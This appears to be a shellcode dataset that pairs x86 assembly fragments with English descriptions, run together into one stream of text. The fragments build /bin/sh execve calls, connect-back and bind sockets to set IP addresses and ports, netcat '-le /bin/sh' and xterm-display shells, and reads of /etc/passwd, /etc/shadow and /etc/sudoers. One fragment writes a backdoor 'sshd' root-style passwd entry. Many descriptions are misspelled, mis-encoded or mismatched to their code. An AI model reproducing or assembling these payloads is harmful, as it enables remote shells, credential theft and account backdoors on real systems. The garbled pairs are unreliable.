[y] move the contents at memory specified by y to eax mov eax, [z] move the contents at memory specified by z to eax mov eax, 0ah move 0ah into eax mov eax, 0ah move an ascii linefeed character into eax mov eax, 0ah move linefeed character into eax mov eax, 0x2e323931 move 0x2e323931 into eax mov eax, 0x2e383631 move 0x2e383631 into eax mov eax, 0x2f3e20 move 0x2f3e20 into eax mov eax, 0x2f766564 move 0x2f766564 into eax mov eax, 0x31263e32 move 0x31263e32 into eax mov eax, 0x31263e32 \n mov eax, 0x6c6c756e \n mov eax, 0x2f766564 \n mov eax, 0x2f3e20 \n mov eax, 0x782f2f \n mov eax, 0x33392e31 \n mov eax, 0x2e383631 \n mov eax, 0x2e323931 \n push eax \n mov ecx,esp load the string 192.168.1.93//x esi pop esi pop the value on the top of the stack into esi pop esi pop esi content pop esi save shellcode into esi pop esi save shellcode address into esi register pop esi restore esi from the stack pop esi restore esi from the value we pushed onto the stack at the start pop esi restore the top of the stack into esi register pop esi restore the top of the stack into the esi register pop esi pop the top of the stack into the esi register pop esi pop the value on the stack back into esi pop esi get the address of shellcode pop esi load address of the encoded shellcode into esi pop esi pop the shellcode into esi pop esi pop the address of the encoded shellcode into esi pop esi shellcode address in esi pop esi shellcode on esi pop esi store the address of the shellcode in esi pop esi store the pointer to the encoded shellcode in esi pop esi store the shellcode in esi pop esi store the shellcode pointer to esi pop esi save the shellcode in the esi register pop esi load the shellcode in esi pop esi encoded shellcode in esi pop esi save the address of the shellcode in esi pop esi pop the address of the shellcode in the esi register pop esi store the pointer to the shellcode into esi pop esi \n mov ax, [esi] store the shellcode in the esi register and copy it into ax pop esi \n mov bx, [esi] save the encoded shellcode in esi and move it into bx pop esi \n mov cx, [esi] store the shellcode in esi and move it into cx pop esi \n mov cx, [esi] point esi to the shellcode and save it into cx pop esi \n mov dx, [esi] pop the shellcode in esi and save it into dx pop esi \n push esi transfer word at the current stack top to esi and then push esi on the stack pop esp restore the top of the stack into the esp register pop si restore the top of the stack into the si register popad extract the data for the 8 general-purpose 32-bit registers from the stack popad move doublewords from the stack into the 32 bit registers popad move doublewords from the stack into the general purpose registers popad pop doublewords from the stack into the 32 bit registers popad pop doublewords from the stack into the general purpose registers port: db 0xd4, 0x31, 0xc0, 0xa8, 0x3, 0x77 define port array of 5 bytes and initialize it to 0xd4, 0x31, 0xc0, 0xa8, 0x3, 0x77 port: db 0xd4, 0x31, 0xc0, 0xa8, 0x3, 0x77 define port as an array of bytes and initialize it to 0xd4, 0x31, 0xc0, 0xa8, 0x3, 0x77 prepare: define _ prepare label prepare: declare the prepare label priv_setgid: define _ priv_setgid label priv_setgid: declare the priv_setgid label priv_setuid: define :_priv_setuid label priv_setuid: declare the priv_setuid label process_shellcode: define prcess_shellcode label process_shellcode: declare the process_shellcode label psubb mm3, mm2 "subtract 13 from ""shellcode""" push _ip push ip address as _ip on stack push _ip push _ip onto the stack push '//pa' push '//pa' onto the stack push '//sh' push '//sh' onto the stack push '/bin' push '/bin' onto the stack push '/etc' push '/etc' onto the stack push 'sswd' push 'sswd' onto the stack "push ""sswd"" \n push ""//pa"" \n push ""/etc""" push Ô/etc//passwdÕ on stack push [tmp] push the 4 bytes at address tmp onto stack push [var] push the 4 bytes at address var onto the stack push [var2] push the 4 bytes at address var2 onto the stack push 0bh push 0bh onto the stack push 0x0 push the value 0x0 to the stack push 0x0 push 0x0 onto the stack push 0x0 \n push ecx \n push ebx push the value 0x0, ecx and ebx contents on stack push 0x0 \n push ecx \n push ebx \n mov ecx,esp load Ô/bin/cat/etc//paswd\0Õ into ex register push 0x0068732f \n push 0x6e69622f \n mov ebx, esp save /bin/sh in the first free 32bit register push 0x0101017f \n push word 0x5c11 \n push word 0x02 \n mov ecx, esp save the address 127.1.1.1, the value on 32bit 4444 and af_inet represented in 32bit on ecx register push 0x04020a0a push ip adress 0x04020a0a push 0x04020a0a push 0x04020a0a onto the stack push 0x0a206873 push 0x0a206873 onto the stack push 0x0a206873 \n push 0x2f6e6962 \n push 0x2f3a706d \n push 0x742f3a31 \n push 0x3131313a \n push 0x31313131 \n push 0x3a30754a \n push 0x4c5a304b \n push 0x45683933 \n push 0x78534a52 \n push 0x50446862 \n push 0x73644d24 \n push 0x67513231 \n push 0x3458652e \n push 0x2431243a \n push 0x64687373 \n mov ebp, esp load the string sshd:$1$.ex412qg$mdsbhdprjsx39hek0zlju0:1111:1111:/tmp:/bin/sh on ebp register push 0x0a3a7964 push 0x0a3a7964 onto the stack push 0x0a3a7964 \n push 0x72706475 \n mov edx, esp load Ôudprdy:Õ into edx register push 0x0a4c4c41 push the value 0x0a4c4c41 onto the stack push 0x0a4c4c41 push 0x0a4c4c41 onto the stack push 0x0b \n pop eax insert the hexadecimal value 11 on the stack and save it in the first free 32bit register push 0x1 push hexadecimal value 0x1 on stack push 0x1 push socket_type = sock_stream, 1, on stack push 0x1 push socket_type = sock_stream = 1 on stack push 0x1 push 1 onto the stack for sock_stream push 0x1 set the sol_socket onto the stack push 0x1 push the value 0x1 onto the stack push 0x1 push 0x1 to the stack push 0x1 push 0x1 onto the stack push 0x1 \n pop eax load exit syscall number into eac register push 0x1 \n pop eax load exit syscall number into eax register push 0x1 \n pop ebx load sys_socket = 1 intp ebx push 0x1 \n push ecx \n push esi push 16, ecx and esi on the stack push 0x10 push the size of v4lhost on stack push 0x10 push lenght of adress 0x10 on stacik push 0x10 push addrlen = 0x10 on stack push 0x10 addr leght 16 push 0x10 define the size of inet_address = 16 (hex) push 0x10 push on stack the size of sock_ad = 16 (hex) push 0x10 push 0x10 onto the stack push 0x10 push 0x10 to the stack push 0x10 push the 0x10 onto the stack push 0x10 push the value 0x10 onto the stack push 0x10 \n push ecx push the hexadecimal value 10 and ecx content on the stack. push 0x10 \n push ecx \n push edi \n mov ecx,esp push the hexadecimal value 10, ecx content and edi content on the stack. then load the stack pointer into ecx register. push 0x10 \n push ecx \n push edx push the sizeof(struct sockaddr_in), &serv_addr and the sockfd on stack push 0x10 \n push ecx \n push esi push the value 0x10, ecx content and esi content on stack push 0x10 \n push ecx \n push esi push hexadecimal value 0x10, ecx and esi contents on stack push 0x10 \n push ecx \n push esi \n mov ecx, esp save 16, ecx contents and the saved socket descriptor (in esi) on ecx push 0x10 \n push ecx \n push esi \n mov ecx, esp save the hexadecimal value 16, ecx contents and esi contents in ecx push 0x101017f push the hexadecimal value 0x101017f of ip adress on stack push 0x101017f push ip adreess as hexadecimal value 0x101017f on stack push 0x14 load hexadecimal value 0x14 on edx register push 0x14 \n pop edx load hexadecimal value 0x14 on edx register push 0x16 set the sockaddr size, 0x16, onto the stack push 0x16 push the value 0x16 onto the stack push 0x1a push the value 0x1a onto the stack push 0x1a push the value 0x1a to the stack push 0x1c push the size of struct on stack push 0x1c push the value 0x1c onto the stack push 0x1c push the value 0x1c to the stack push 0x1c \n push ecx \n push esi push hexadecimal value 0x1c, ecx and esi contents on stack push 0x1ff9090 \n pop ecx load hexadecimal value 0x1ff9090 into ecx then shift right its bits 0x10 times push 0x1ff9090 \n pop ecx load hexadecimal value 0x1ff9090 into ecx push 0x2 push the value 2 on the stack push 0x2 push af_inet = 2 on stack push 0x2 push 2 on stack push 0x2 value 0x2 is pushed onto stack (af_inet=2) push 0x2 push 2 onto the stack for af_inet push 0x2 set the so_reuseaddr onto the stack push 0x2 push 0x2 onto the stack push 0x2 push 0x2 to the stack push 0x2 push the 0x2 onto the stack push 0x2 \n mov ecx, esp \n int 0x80 load 0x2 into ecx register and call kernel push 0x2 \n pop ecx load the value 0x2 into ecx register push 0x2 \n push edx \n push 0x1a \n push 0x29 push the size of no=2, the pointer to no, the argument ipv6_v6only=26 and the argument ipproto=ipv6 = 41 on stack push 0x203a4457 push the 0x203a4457 onto the stack push 0x203a4457 push 0x203a4457 onto the stack push 0x204c4c41 push 0x204c4c41 onto the stack push 0x204c4c41 push the 0x204c4c41 onto the stack push 0x2431243a push 0x2431243a onto the stack push 0x29 push the value 0x29 to the stack push 0x29 push 0x29 onto the stack push 0x2e312e31 push 0x2e312e31 onto the stack push 0x2e312e31 push the value 0x2e312e31 to the stack push 0x2e323931 push the value 0x2e323931 onto the stack push 0x2e323931 push 0x2e323931 to the stack push 0x2e373231 push 0x2e373231 to the stack push 0x2e373231 push 0x2e373231 onto the stack push 0x2e383631 push the value 0x2e383631 onto the stack push 0x2e383631 push 0x2e383631 to the stack push 0x2f2f2f2f push '////' on stack push 0x2f2f2f2f push 0x2f2f2f2f onto the stack push 0x2f2f2f2f push 0x2f2f2f2f to the stack push 0x2f2f2f2f push the 0x2f2f2f2f onto the stack push 0x2f2f2f2f \n mov eax, esp push the value 0x2f2f2f2f onto the stack and point eax to the stack register push 0x2f2f2f2f \n mov ebx, esp push the value 0x2f2f2f2f onto the stack and point ebx to the stack register push 0x2f2f2f2f \n mov ecx, esp push the value 0x2f2f2f2f onto the stack and point ecx to the stack register push 0x2f2f2f2f \n mov edi, esp push the value 0x2f2f2f2f onto the stack and point edi to the stack register push 0x2f2f2f2f \n mov edx, esp push the value 0x2f2f2f2f onto the stack and point edx to the stack register push 0x2f2f2f2f \n mov esi, esp push the value 0x2f2f2f2f onto the stack and point esi to the stack register push 0x2f2f2f6e push the 0x2f2f2f6e onto the stack push 0x2f3a706d push 0x2f3a706d onto the stack push 0x2f3a746f push 0x2f3a746f onto the stack push 0x2f656c2d push 0x2f656c2d onto the stack push 0x2f656c2d push the 0x2f656c2d onto the stack push 0x2f6e6962 push '/nib' on stack push 0x2f6e6962 push 0x2f6e6962 to the stack push 0x2f6e6962 push 0x2f6e6962 onto the stack push 0x2faa2faa push hexadecimal value 0x2faa2faa on stack push 0x2faa68aa push hexadecimal value 0x2faa68aa on stack push 0x3 \n pop ebx load the command sys_connect = 3 into ebx register push 0x30 push the value 0x30 onto the stack push 0x30 \n pop eax push 48 on the stack and put this value in eax, taking it from the stack push 0x30313a31 push 0x30313a31 to the stack push 0x30313a31 push 0x30313a31 onto the stack push 0x30313a31 \n push 0x2e312e31 \n push 0x2e373231 \n mov esi, esp \n push eax \n push 0x79616c70 \n push 0x7369642d \n mov edi,esp \n push eax \n push 0x6d726574 \n push 0x782f6e69 \n push 0x622f7273 \n push 0x752f2f2f \n mov ebx,esp \n push eax \n push esi \n push edi \n push ebx push on stack the listening ip 127.1.1.1:10 and save it into esi register then push null and Ô- displayÕ command and save it in edi register. subsequently push null and the string Ô///usr/bin/xtermÕ and save it into ebx register. in the end push eax, esi, edi and ebx on sta stack. push 0x30317974 push 0x30317974 onto the stack push 0x30317974 push the 0x30317974 onto the stack push 0x31313131 push 0x31313131 onto the stack push 0x3131313a push 0x3131313a onto the stack push 0x31373737 push 0x31373737 onto the stack push 0x31373737 push the 0x31373737 onto the stack push 0x3170762d push 0x3170762d onto the stack push 0x3170762d push the value 0x3170762d to the stack push 0x3170762d push the 0x3170762d onto the stack push 0x32322e32 push 0x32322e32 onto the stack push 0x32322e32 push 0x32322e32 to the stack push 0x3458652e push 0x3458652e onto the stack push 0x37333333 \n push 0x3170762d push Ô-vp13337Õ on stack push 0x37373333 push 0x37373333 to the stack push 0x37373333 push the 0x37373333 onto the stack push 0x37373333 push 0x37373333 onto the stack push 0x3a303a3a push 0x3a303a3a onto the stack push 0x3a303a3a \n push 0x74303072 push Ôr00t::0:Õ on stack push 0x3a30754a push 0x3a30754a onto the stack push 0x3a3a3a30 \n push esi push :::0 and esi content on stack push 0x3d4c4c41 push the value 0x3d4c4c41 onto the stack push 0x3d4c4c41 push 0x3d4c4c41 onto the stack push 0x3e0a7964 push 0x3e0a7964 onto the stack push 0x3f load __nr_dup2 into al register push 0x3f \n pop eax load __nr_dup2 into eax register push 0x4 copy write syscall number in eax register push 0x4 push the sizeof = 0x4 onto the stack push 0x4 push 0x4 onto the stack push 0x4 push the value 0x4 onto the stack push 0x4 \n pop eax copy write syscall number in eax register push 0x4 \n pop eax load write syscall number into eax register push 0x4 \n pop eax \n add eax,0x2 load __nr_close into eax register push 0x45683933 push 0x45683933 onto the stack push 0x46 push 0x46 onto the stack push 0x46 \n pop eax \n int 0x80 execute __nr_setreuid = 0x46 syscall push 0x4c4c4128 push 0x4c4c4128 onto the stack push 0x4c4c4128 push the value 0x4c4c4128 onto the stack push 0x4c5a304b push 0x4c5a304b onto the stack push 0x4f4e2029 push the value 0x4f4e2029 onto the stack push 0x4f4e2029 push 0x4f4e2029 onto the stack push 0x5 push hexadecimal value 0x5 on stack push 0x5 push 0x5 onto the stack push 0x5 push the 0x5 onto the stack push 0x5 \n pop eax copy open syscall numebr into eax register push 0x5 \n pop eax load ope syscall number into eax register push 0x50446862 push 0x50446862 onto the stack push 0x53534150 push the 0x53534150 onto the stack push 0x53534150 push 0x53534150 onto the stack push 0x5f657a69 push Ô_eziÕ on stack push 0x6 push ipproto_tcp value, 6, on stack push 0x6 push protocol ipv6 value, 6, on stack push 0x6 push 0x6 onto the stack push 0x6 push the 0x6 value onto the stack push 0x6 \n push 0x1 \n push 0x2 push hexadecimal values 0x6, 0x1 and 0x2 on stack push 0x6 \n push 0x1 \n push 0xa push the hexadecimal value 0x6, 0x1 and 0x10 on stack that represent respectively then args ipproto_tcp =6, the socket_type = sock_stream (0x1) and af_inet6= 10 push 0x61622f2f push 0x61622f2f onto the stack push 0x61622f6e push 0x61622f6e onto the stack push 0x61655220 push 0x61655220 onto the stack push 0x6168732f push 0x6168732f onto the stack push 0x6168732f push 0x6168732f to the stack push 0x6168732f push the value 0x6168732f onto the stack push 0x6168732f \n push 0x6374652f push Ô/etc/shaÕ on stack push 0x6168732f \n push 0x6374652f \n mov ebx, esp push the value 0x6168732f and the value 0x6374652f onto the stack and point the ebx register to the stack register push 0x61702f2f push 0x61702f2f onto the stack push 0x61702f2f \n push 0x13371337 \n push 0x64777373 \n push 0x6374652f push Ô/etcsswd7.7.//paÕ on stack push 0x61702f2f \n push 0x6374652f \n mov eax, esp push the value 0x61702f2f and the value 0x6374652f onto the stack and point the eax register to the stack register push 0x61702f2f \n push 0x6374652f \n mov ebx, esp push the value 0x61702f2f and the value 0x6374652f onto the stack and point the ebx register to the stack register push 0x61702f2f \n push 0x6374652f \n mov ecx, esp push the value 0x61702f2f and the value 0x6374652f onto the stack and point the ecx register to the stack register push 0x61702f2f \n push 0x6374652f \n mov edi, esp push the value 0x61702f2f and the value 0x6374652f onto the stack and point the edi register to the stack register push 0x61702f2f \n push 0x6374652f \n mov edx, esp push the value 0x61702f2f and the value 0x6374652f onto the stack and point the edx register to the stack register push 0x61702f2f \n push 0x6374652f \n mov esi, esp push the value 0x61702f2f and the value 0x6374652f onto the stack and point the esi register to the stack register push 0x61702f63 push the 0x61702f63 onto the stack push 0x61702f63 push 0x61702f63 onto the stack push 0x61722f6c push Ôar/lÕ on satck push 0x622f7273 push 0x622f7273 onto the stack push 0x622f7273 push 0x622f7273 to the stack push 0x636e2f2f push 0x636e2f2f onto the stack push 0x636e2f2f push 0x636e2f2f to the stack push 0x636e2f2f push the 0x636e2f2f onto the stack push 0x636e2f2f \n push 0x6e69622f push Ô /bin//cnÕ on stack push 0x636e2f2f \n push 0x6e69622f push the string Ô/bin//cnÕ on stack push 0x6374652f push 0x6374652f onto the stack push 0x6374652f push 0x6374652f to the stack push 0x6374652f push the 0x6374652f onto the stack push 0x6374652f \n mov eax, esp push the value 0x6374652f onto the stack and point eax to the stack register push 0x6374652f \n mov ebp, esp push the value 0x6374652f onto the stack and point ebp to the stack register push 0x6374652f \n mov ebx, esp push the value 0x6374652f onto the stack and point ebx to the stack register push 0x6374652f \n mov ecx, esp push the value 0x6374652f onto the stack and point ecx to the stack register push 0x6374652f \n mov edi, esp push the value 0x6374652f onto the stack and point edi to the stack register push 0x6374652f \n mov edx, esp push the value 0x6374652f onto the stack and point edx to the stack register push 0x6374652f \n mov esi, esp push the value 0x6374652f onto the stack and point esi to the stack register push 0x64687373 push 0x64687373 onto the stack push 0x64687373 \n mov eax, esp push the value 0x64687373 onto the stack and point the eax register to the stack register push 0x64687373 \n mov ebp, esp push the value 0x64687373 onto the stack and point the ebp register to the stack register push 0x64687373 \n mov ebx, esp push the value 0x64687373 onto the stack and point the ebx register to the stack register push 0x64687373 \n mov ecx, esp push the value 0x64687373 onto the stack and point the ecx register to the stack register push 0x64687373 \n mov edi, esp push the value 0x64687373 onto the stack and point the edi register to the stack register push 0x64687373 \n mov edx, esp push the value 0x64687373 onto the stack and point the edx register to the stack register push 0x64687373 \n mov esi, esp push the value 0x64687373 onto the stack and point the esi register to the stack register push 0x6475732f push 0x6475732f onto the stack push 0x6475732f push 0x6475732f to the stack push 0x6475732f push the 0x6475732f onto the stack push 0x6475732f \n push 0x6374652f \n mov eax, esp push the value 0x6475732f and the value 0x6374652f onto the stack and point the eax register to the stack register push 0x6475732f \n push 0x6374652f \n mov ebx, esp push the value 0x6475732f and the value 0x6374652f onto the stack and point the ebx register to the stack register push 0x6475732f \n push 0x6374652f \n mov ecx, esp push the value 0x6475732f and the value 0x6374652f onto the stack and point the ecx register to the stack register push 0x6475732f \n push 0x6374652f \n mov edi, esp push the value 0x6475732f and the value 0x6374652f onto the stack and point the edi register to the stack register push 0x6475732f \n push 0x6374652f \n mov edx, esp push the value 0x6475732f and the value 0x6374652f onto the stack and point the edx register to the stack register push 0x6475732f \n push 0x6374652f \n mov esi, esp push the value 0x6475732f and the value 0x6374652f onto the stack and point the esi register to the stack register push 0x64777373 push the 0x64777373 onto the stack push 0x64777373 push 0x64777373 onto the stack push 0x64777373 \n push 0x61702f63 \n push 0x74652f2f \n mov ebx, esp push the path //etc/passwd on the stack and load stack pointer to ebx push 0x64777373 \n push 0x61702f63 \n push 0x74652f2f \n xor ebx, ebp \n lea ebx, [esp] push the path //etc/passwd on the stack and load stack pointer to ebx push 0x65636170 push ÔecapÕ on stack push 0x6567772f push 0x6567772f onto the stack push 0x6567772f push 0x6567772f to the stack push 0x656c6966 push 0x656c6966 onto the stack push 0x656c6966 push the 0x656c6966 onto the stack push 0x656e7265 push ÔenreÕ label on stack push 0x65726f43 push 0x65726f43 onto the stack push 0x65782e2f push 0x65782e2f onto the stack push 0x65782e2f push 0x65782e2f to the stack push 0x65782e2f \n push 0x706d742f push the name of file to be executed = Ô/tmp/.xeÕ push 0x66 push 0x66 onto the stack push 0x66 push 0x66 to the stack push 0x66 push the 0x66 onto the stack push 0x66 \n pop eax load the socketcall number 102 on eax register push 0x66 \n pop eax load __nr_socketcall into eax register push 0x66 \n pop eax load __nr_socketcall syscall into al register push 0x66 \n pop eax load socketcall syscall into eax register push 0x67513231 push 0x67513231 onto the stack push 0x6769666e push 0x6769666e onto the stack push 0x682f2f2f push 0x682f2f2f onto the stack push 0x682f2f2f push the 0x682f2f2f value onto the stack push 0x68732f2f push ascii sh// onto stack push 0x68732f2f push hs// string on stack push 0x68732f2f push Ô//shÕ on stack push 0x68732f2f push //sh to the stack push 0x68732f2f push hs// push 0x68732f2f push the 0x68732f2f value onto the stack push 0x68732f2f push the value 0x68732f2f onto the stack push 0x68732f2f push 0x68732f2f to the stack push 0x68732f2f push 0x68732f2f onto the stack push 0x68732f2f \n push 0x68732f2f \n push 0x2f656c2d push Ô -le///sh//shÕ on stack push 0x68732f2f \n push 0x6e69622f push /bin//sh push 0x68732f2f \n push 0x6e69622f push Ô/bin//shÕ on stack push 0x68732f2f \n push 0x6e69622f push the string Ò/bin//shÓ on stack push 0x68732f2f \n push 0x6e69622f push Ò/bin//shÓ on stack push 0x68732f2f \n push 0x6e69622f push the string Ô /bin//shÕ on stack push 0x68732f2f \n push 0x6e69622f push Ô/bin//shÕ string on stack push 0x68732f2f \n push 0x6e69622f \n mov eax, esp push /bin/sh onto the stack and point the eax register to the stack register push 0x68732f2f \n push 0x6e69622f \n mov eax, esp move /bin/sh into eax push 0x68732f2f \n push 0x6e69622f \n mov eax, esp put ASCII /bin/sh into eax push 0x68732f2f \n push 0x6e69622f \n mov eax, esp move /bin/sh into the eax register push 0x68732f2f \n push 0x6e69622f \n mov ebx, esp save /bin/sh in ebx register push 0x68732f2f \n push 0x6e69622f \n mov ebx, esp save /bin//sh in ebx register push 0x68732f2f \n push 0x6e69622f \n mov ebx, esp ebx points to /bin//sh push 0x68732f2f \n push 0x6e69622f \n mov ebx, esp push //bin/sh in ebx push 0x68732f2f \n push 0x6e69622f \n mov ebx, esp push /bin/sh/ in ebx register push 0x68732f2f \n push 0x6e69622f \n mov ebx, esp push ASCII /bin/sh onto the stack and point the ebx register to the stack register push 0x68732f2f \n push 0x6e69622f \n mov ebx, esp put /bin/sh into ebx push 0x68732f2f \n push 0x6e69622f \n mov ebx, esp move ASCII /bin/sh into ebx push 0x68732f2f \n push 0x6e69622f \n mov ebx, esp move /bin/sh into the ebx register push 0x68732f2f \n push 0x6e69622f \n mov ebx,esp load the string /bin//sh on ebx register push 0x68732f2f \n push 0x6e69622f \n mov ebx,esp make ebx pointing to the string Ò/bin//shÓ push 0x68732f2f \n push 0x6e69622f \n mov ebx,esp load the string Ò/bin//shÓ into ebx regsiter push 0x68732f2f \n push 0x6e69622f \n mov ebx,esp load Ô/bin//sh\0Õ into ebx register push 0x68732f2f \n push 0x6e69622f \n mov ecx, esp move ASCII /bin/sh into ecx push 0x68732f2f \n push 0x6e69622f \n mov ecx, esp move /bin/sh into the ecx register push 0x68732f2f \n push 0x6e69622f \n mov ecx, esp push /bin/sh onto the stack and point the ecx register to the stack register push 0x68732f2f \n push 0x6e69622f \n mov ecx, esp put /bin/sh into ecx push 0x68732f2f \n push 0x6e69622f \n mov edx, esp push ASCII /bin/sh onto the stack and point the edx register to the stack register push 0x68732f2f \n push 0x6e69622f \n mov edx, esp put /bin/sh into edx push 0x68732f2f \n push 0x6e69622f \n mov edx, esp move ASCII /bin/sh into edx push 0x68732f2f \n push 0x6e69622f \n mov edx, esp move /bin/sh into the edx register push 0x68732f2f \n push 0x6e69622f \n push 0x2f656c2d push the string Ô-le//bin//shÕ on stack push 0x68732f6e push Ôhs/bÕ push 0x68732f6e push the 0x68732f6e onto the stack push 0x68732f6e push 0x68732f6e to the stack push 0x68732f6e push 0x68732f6e onto the stack push 0x68732f6e \n push 0x69622f2f push the string //bin/sh on the stack push 0x68732f6e \n push 0x69622f2f \n mov ebx, esp push the path //bin/sh in ebx register push 0x68732f6e \n push 0x69622f2f \n mov ebx, esp load the string //bin/sh on the register ebx push 0x68735858 push the value 0x68735858 onto the stack push 0x68736162 push 0x68736162 to the stack push 0x68736162 push 0x68736162 onto the stack push 0x68736162 \n push 0x2f6e6962 \n push 0x2f2f2f2f push the string Ô////bin/bashÕ on stack push 0x68736162 \n push 0x2f6e6962 \n push 0x2f2f2f2f push Ô////bin/bashÕ into the stack push 0x68736162 \n push 0x2f6e6962 \n push 0x2f2f2f2f push the string Ô////bin/bashÕ onto the stack push 0x68736164 push 'hsad' on stack push 0x68736164 push 0x68736164 to the stack push 0x68736164 push 0x68736164 onto the stack push 0x68736164 \n push 0x2f6e6962 \n push 0x2f2f2f2f push (////bin/dash) into the stack push 0x6873732f push the value 0x6873732f onto the stack push 0x6873732f \n push 0x6374652f \n mov eax, esp push the value 0x6873732f and the value 0x6374652f onto the stack and point the eax register to the stack register push 0x6873732f \n push 0x6374652f \n mov ebx, esp push the value 0x6873732f and the value 0x6374652f onto the stack and point the ebx register to the stack register push 0x6873732f \n push 0x6374652f \n mov ecx, esp push the value 0x6873732f and the value 0x6374652f onto the stack and point the ecx register to the stack register push 0x6873732f \n push 0x6374652f \n mov edi, esp push the value 0x6873732f and the value 0x6374652f onto the stack and point the edi register to the stack register push 0x6873732f \n push 0x6374652f \n mov edx, esp push the value 0x6873732f and the value 0x6374652f onto the stack and point the edx register to the stack register push 0x6873732f \n push 0x6374652f \n mov esi, esp push the value 0x6873732f and the value 0x6374652f onto the stack and point the esi register to the stack register push 0x68737a2f push hsz/ on stack push 0x68737a2f push 0x68737a2f onto the stack push 0x68737a2f \n push 0x6e69622f push the string Ô/bin/zshÕ on stack push 0x68909090 \n pop eax load hexadecimal value 0x68909090 into eax push 0x69616863 push the 0x69616863 onto the stack push 0x69622f2f push Ôib//Õ push 0x69622f2f push the 0x69622f2f onto the stack push 0x69622f2f push 0x69622f2f to the stack push 0x69622f2f push 0x69622f2f onto the stack push 0x69622f2f \n mov eax, esp push the value 0x69622f2f onto the stack and point the eax register to the stack register push 0x69622f2f \n mov ebx, esp push the value 0x69622f2f onto the stack and point the ebx register to the stack register push 0x69622f2f \n mov ecx, esp push the value 0x69622f2f onto the stack and point the ecx register to the stack register push 0x69622f2f \n mov edx, esp push the value 0x69622f2f onto the stack and point the edx register to the stack register push 0x69622f3a push 0x69622f3a onto the stack push 0x69622f65 push 0x69622f65 onto the stack push 0x69622f65 push 0x69622f65 to the stack push 0x69622f65 push the 0x69622f65 onto the stack push 0x6962732f push 0x6962732f onto the stack push 0x6962732f push the 0x6962732f onto the stack push 0x6b2f7379 push Ôk/stÕ label push 0x6c626174 push 0x6c626174 onto the stack push 0x6d6f632e \n push 0x656c676f \n push 0x6f672031 \n push 0x2e312e31 \n push 0x2e373231 push the address 127.1.1.1 google.com on stack push 0x6d6f646e push ÔmodnÕ on stack push 0x6d722f2f push the 0x6d722f2f onto the stack push 0x6d726574 push 0x6d726574 onto the stack push 0x6d726574 push 0x6d726574 to the stack push 0x6e push the 0x6e onto the stack push 0x6e69622f push ascii nib/ onto stack push 0x6e69622f push nib/ string on stack push 0x6e69622f push Ô/binÕ on stack push 0x6e69622f push nib/ on stack push 0x6e69622f push /bin to the stack push 0x6e69622f push 0x6e69622f onto the stack push 0x6e69622f push nib/ push 0x6e69622f push the 0x6e69622f onto the stack push 0x6e69622f push the value 0x6e69622f onto the stack push 0x6e69622f \n push 0x7273752f \n mov eax, esp push the value 0x6e69622f and the value 0x7273752f onto the stack and point the eax register to the stack register push 0x6e69622f \n push 0x7273752f \n mov ebx, esp push the value 0x6e69622f and the value 0x7273752f onto the stack and point the ebx register to the stack register push 0x6e69622f \n push 0x7273752f \n mov ecx, esp push the value 0x6e69622f and the value 0x7273752f onto the stack and point the ecx register to the stack register push 0x6e69622f \n push 0x7273752f \n mov edx, esp push the value 0x6e69622f and the value 0x7273752f onto the stack and point the edx register to the stack register push 0x6e776f64 push the 0x6e776f64 onto the stack push 0x6e7a762d push -vzn parameter on the stack push 0x6e7a762d push 0x6e7a762d onto the stack push 0x6e7a762d \n mov ebp, esp push the value 0x6e7a762d onto the stack and point the ebp register to the stack register push 0x6e7a762d \n mov ebx, esp push the value 0x6e7a762d onto the stack and point the ebx register to the stack register push 0x6e7a762d \n mov edi, esp push the value 0x6e7a762d onto the stack and point the edi register to the stack register push 0x6e7a762d \n mov esi, esp push the value 0x6e7a762d onto the stack and point the esi register to the stack register push 0x6f635f64 push 0x6f635f64 onto the stack push 0x6f723a30 push 0x6f723a30 onto the stack push 0x7 \n mov edx, esp push the value 0x7 onto the stack and point edx to the stack register push 0x70692f6e push 0x70692f6e onto the stack push 0x70692f6e push the 0x70692f6e onto the stack push 0x706d742f push 0x706d742f onto the stack push 0x706d742f push 0x706d742f to the stack push 0x706d742f push the 0x706d742f onto the stack push 0x7268732f push 0x7268732f onto the stack push 0x72702f2f push Ôrp//Õ on stack push 0x72706475 push 0x72706475 onto the stack push 0x7273752f push 0x7273752f onto the stack push 0x7273752f push 0x7273752f to the stack push 0x732f636f push Ôs/coÕ on stack push 0x735f6176 push Ôs_avÕ on stack push 0x7361702f push 0x7361702f to the stack push 0x7361702f push 0x7361702f onto the stack push 0x73644d24 push 0x73644d24 onto the stack push 0x7369642d push 0x7369642d to the stack push 0x7369642d push 0x7369642d onto the stack push 0x7372656f push the 0x7372656f onto the stack push 0x7372656f push 0x7372656f to the stack push 0x7372656f push 0x7372656f onto the stack push 0x7372656f \n push 0x6475732f \n push 0x6374652f push Ò/etc/sudoersÓ on stack push 0x7372656f \n push 0x6475732f \n push 0x6374652f push Ô/etc/sudoersÕ into stack push 0x7374736f push 0x7374736f onto the stack push 0x7374736f push the 0x7374736f onto the stack push 0x7374736f \n push 0x682f6374 \n push 0x652f2f2f push the string ///etc/hosts on stack push 0x74 push 0x74 onto the stack push 0x74 push 0x74 to the stack push 0x74 \n push 0x6567772f \n push 0x6e69622f \n push 0x7273752f \n mov ebx,esp load the string /usr/bin/wget in ebx regsiter push 0x742f2f2f push 0x742f2f2f onto the stack push 0x742f2f2f push the 0x742f2f2f onto the stack push 0x742f3a31 push 0x742f3a31 onto the stack push 0x74303072 push 0x74303072 onto the stack push 0x7461632f \n push 0x6e69622f \n mov eax, esp push the value 0x7461632f and the value 0x6e69622f onto the stack and point the eax register to the stack register push 0x7461632f \n push 0x6e69622f \n mov ebx, esp push the value 0x7461632f and the value 0x6e69622f onto the stack and point the ebx register to the stack register push 0x7461632f \n push 0x6e69622f \n mov ecx, esp push the value 0x7461632f and the value 0x6e69622f onto the stack and point the ecx register to the stack register push 0x7461632f \n push 0x6e69622f \n mov edi, esp push the value 0x7461632f and the value 0x6e69622f onto the stack and point the edi register to the stack register push 0x7461632f \n push 0x6e69622f \n mov edx, esp push the value 0x7461632f and the value 0x6e69622f onto the stack and point the edx register to the stack register push 0x7461632f \n push 0x6e69622f \n mov esi, esp push the value 0x7461632f and the value 0x6e69622f onto the stack and point the esi register to the stack register push 0x74652f2f push the 0x74652f2f onto the stack push 0x74652f2f push 0x74652f2f onto the stack push 0x746f6f72 push 0x746f6f72 onto the stack push 0x74756873 push the 0x74756873 onto the stack push 0x74756f2f push 0x74756f2f onto the stack push 0x74756f2f push the 0x74756f2f onto the stack push 0x752f2f2f push 0x752f2f2f onto the stack push 0x752f2f2f push 0x752f2f2f to the stack push 0x7665642f push 0x7665642f onto the stack push 0x7665642f push the 0x7665642f onto the stack push 